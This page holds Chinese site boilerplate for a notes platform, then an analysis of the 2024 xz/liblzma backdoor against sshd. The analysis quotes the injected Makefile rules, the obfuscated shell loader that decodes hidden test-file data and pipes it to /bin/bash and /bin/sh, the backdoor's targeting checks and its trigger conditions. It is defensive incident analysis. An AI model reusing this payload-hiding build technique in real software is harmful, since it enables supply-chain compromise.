笔记
0工具
0此页用于记录用户反馈问题后的每一次改进
关于
“写笔记”支持四种格式——Word 文档、Excel 表格、Markdown、纯文本,起稿或二次编辑时都能随时切换,同一篇笔记想用哪种形态来记,都由你说了算。
md、txt、csv、json 这类纯文本则原样载入,不做多余加工。拿一张现成的表倒进来、改几笔、再导出去,等于白用一台免费的格式转换器。
要带走就在右上角点“下载”,可导出 PDF、Word、Markdown、Excel、TXT 等格式;列表卡片“⋯”菜单里,也有同样的下载入口。
在“工具”页点“+ 上传工具”即可发布:填好名称与链接,再用 Markdown 把使用方法写清楚——能解决什么问题、怎么装、怎么用,比堆介绍实在。
要分发安装包就一并上传压缩包(ZIP、RAR、7Z、TAR.GZ,最大 35MB),别人在详情页一键下载;只放链接不带附件也可以。
工具按大家的收藏热度排序,好用的自然会被顶上来。发布后可在详情页或卡片菜单里编辑、下架。
写笔记时勾上“隐藏”,这篇就只存在于你自己的账号里:不进列表、不进搜索、不上首页精选,也不会出现在任何公开的页面,链接发给别人同样打不开。
适合放密码、草稿、日记这类只给自己看的内容;想公开,去“发布”打开它,把“隐藏”的勾去掉再保存,之后编辑会默认保持原状态,不会悄悄变回公开。
不想公开、只想临时给人看:点“分享”生成一条带密码和有效期的链接,到期自动失效,你也能随时撤销。
你的内容会同时保存在多个副本上,系统定期做备份与完整性校验,再配合异地容灾机制:就算某台机器出问题,数据也不会丢,可以长期放心存放;特别重要的资料,仍建议你另外再留一份备份。
全站跑在容器化、模块化的现代架构上,更新、部署、回滚都很快,扩展性和稳定性都按长期运营的标准来设计(Built for reliability, designed to scale)。
这个网站最早只是一个人的笔记仓库,后来慢慢长成现在的知识中枢。设计上很克制——没有广告、没有追踪、没有推荐算法,只是干干净净地存放一些东西;既然做好了,就公开出来,万一有人用得上呢。
不做大而全,不做平台梦,保持简单、保持克制、保持好奇。所有内容都由用户贡献、由用户维护:不会突然冒出付费墙,不会在角落塞广告位,也不会把你的数据卖给第三方。
产品会持续迭代,站内日志页记录着每一次改动,改了什么都有迹可循;想了解这个站是怎么一步步走到今天的,翻翻日志就能看到来龙去脉。
如果在这里看到涉嫌违规的内容,点对应卡片右侧的“举报”按钮就能提交,我们会尽快核实处理;也谢谢你花一点时间,一起把这里维护干净。
趋势
xz/liblzma 上游供应链后门事件深度分析:SSH 服务器被植入恶意代码
上游 xz/liblzma 仓库及发布包被植入后门,影响 SSH 服务器,引发供应链安全危机。
事件概述
2024 年 3 月 29 日,Andres Freund 在 oss-security 邮件列表上披露了一个震惊安全界的发现:用于数据压缩的 xz/liblzma 库的上游仓库和发布 tarball 被植入了后门,该后门专门针对 SSH 服务器(sshd)进行攻击。这一事件迅速成为 Hacker News 热门话题,获得 4549 分和 1849 条评论。
发现过程
Andres Freund 在 Debian sid 安装环境中观察到几个异常症状:
- SSH 登录消耗大量 CPU 资源
- valgrind(内存调试工具)报告错误
这些症状持续数周后,他最终定位到问题根源:上游 xz 仓库和 tarball 已被植入后门。起初他怀疑是 Debian 包被篡改,但最终确认是上游代码遭到恶意修改。
后门植入方式
1. 发布 tarball 中的恶意脚本
后门的一部分仅存在于发布的 tarball 中(版本 5.6.0 和 5.6.1),而 GitHub 上的源码仓库(直接由仓库内容生成)中并不包含。关键恶意代码位于 m4/build-to-host.m4 文件中的一行:
m4
该行在 git 仓库中不存在,但存在于发布的 tarball 中
该脚本在 configure 执行结束时被注入并运行。脚本经过高度混淆,其数据来自仓库中的 "test" .xz 文件。
2. 混淆脚本的工作流程
脚本执行后,会修改 $builddir/src/liblzma/Makefile,添加恶意规则:
makefile
am__test = bad-3-corrupt_lzma2.xz
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
最终执行命令为:
bash
sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " -_" " _-" | xz -d | /bin/bash >/dev/null 2>&1
去掉 | bash 后,实际执行的混淆代码为:
bash
####Hello####
#��Z�.hj�
eval grep ^srcdir= config.status
if test -f ../../config.status;then eval grep ^srcdir= ../../config.status; srcdir="../../$srcdir"; fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ..."
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
这段代码通过一系列 head/tail 操作从 good-large_compressed.lzma 中提取隐藏数据,经过字符替换和二次解压后,交给 /bin/sh 执行。最终解出的恶意代码(injected.txt)被附加在邮件中。
3. 仓库中的恶意文件
包含主要漏洞利用代码的文件以混淆形式提交在 tests/files/ 目录下:
bad-3-corrupt_lzma2.xzgood-large_compressed.lzma
这些文件在 5.6.0 版本中并未用于任何测试,首次出现于 commit cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0。
漏洞利用代码的调整与修复尝试
由于注入代码与预期堆栈布局不符,在某些配置下会导致 valgrind 错误和崩溃。攻击者在 5.6.1 版本中尝试修复这些问题,并同步调整了漏洞利用代码:
- 修复提交:
e5faaebbcf02ea880cfc56edc702d4f7298788ad72d2933bfae514e0dbb123488e9f1eb7cf64175f82ecc538193b380a21622aea02b0ba078e7ade92
- 漏洞代码调整:
6e636819e8f070330d835fce46289a3ff72a7b89
这种持续数周的活跃修改表明,提交者要么直接参与攻击,要么其系统遭到严重入侵。鉴于提交者在各种邮件列表中讨论上述“修复”,后者可能性较低。
受影响系统与攻击条件
去混淆后的脚本在 configure 后首先检查是否满足特定条件,只有满足所有条件才会注入恶意代码:
目标架构:仅针对 x86-64 Linux
bash
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1); then编译器:必须使用 gcc 和 GNU 链接器
bash
if test "x$GCC" != 'xyes' > /dev/null 2>&1; then exit 0; fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1; then exit 0; fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1; then exit 0; fi构建环境:必须是 Debian 或 RPM 包构建
bash
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64"; then这一条件尤其旨在增加调查者的复现难度。
系统库:由于注入代码的工作方式,后门只能影响基于 glibc 的系统。
幸运的是,xz 5.6.0 和 5.6.1 尚未被多数 Linux 发行版广泛集成,即便集成也多在预发布版本中。
对 OpenSSH 服务器的实际影响
安装了带后门的 liblzma 后,SSH 登录变得明显缓慢。Andres Freund 的测试数据:
之前(未受影响):
real 0m0.299s
user 0m0.202s
sys 0m0.006s
之后(受影响):
real 0m0.807s
user 0m0.202s
sys 0m0.006s
OpenSSH 并不直接使用 liblzma,但 Debian 和其他发行版会打补丁使其支持 systemd 通知,而 libsystemd 依赖 lzma。
有趣的是,在 systemd 之外启动 sshd 时,并未观察到性能下降,尽管后门代码确实被短暂调用。这可能是攻击者故意设计的反分析措施。
漏洞利用的触发条件
观察到的漏洞利用必要条件:
- a) 未设置
TERM环境变量 - b)
argv[0]必须是/usr/sbin/sshd - c) 未设置
LD_DEBUG、LD_PROFILE - d) 必须设置
LANG - e) 检测到某些调试环境(如 rr),gdb 在某些情况下会被检测到
在 systemd 外复现:
bash
env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D
实际上,无需启动 sshd 服务器,仅执行帮助命令即可观察到性能下降:
bash
env -i LANG=C /usr/sbin/sshd -h
(大约需要 0.5 秒)
技术分析
Florian Weimer 首先提取了隔离的注入代码(liblzma_la-crc64-fast.o),而 Andres Freund 最初只观察了整个二进制文件。
后门的工作原理是:通过修改 liblzma 的 Makefile,在构建过程中将恶意对象文件链接到 liblzma 库中。当 sshd 通过 libsystemd 间接调用 liblzma 时,恶意代码得以执行,可能实现远程代码执行、权限提升或凭据窃取等攻击。
供应链安全警示
这一事件再次凸显了供应链安全的脆弱性。一个被广泛使用的压缩库,通过精心构造的 tarball 和混淆代码,就能威胁到全球 SSH 服务器的安全。攻击者展现了高超的技术能力:
- 混淆代码嵌入 .xz 测试文件
- 仅在特定构建条件下激活
- 针对特定架构和发行版
- 规避常见调试工具
建议与应对
- 立即检查系统是否安装了 xz 5.6.0/5.6.1,并降级到安全版本(如 5.4.x)
- 验证软件包完整性,关注发行版安全公告
- 对于开源项目,加强代码审查和 CI/CD 安全
- 考虑使用软件供应链安全工具(如 SLSA、sigstore)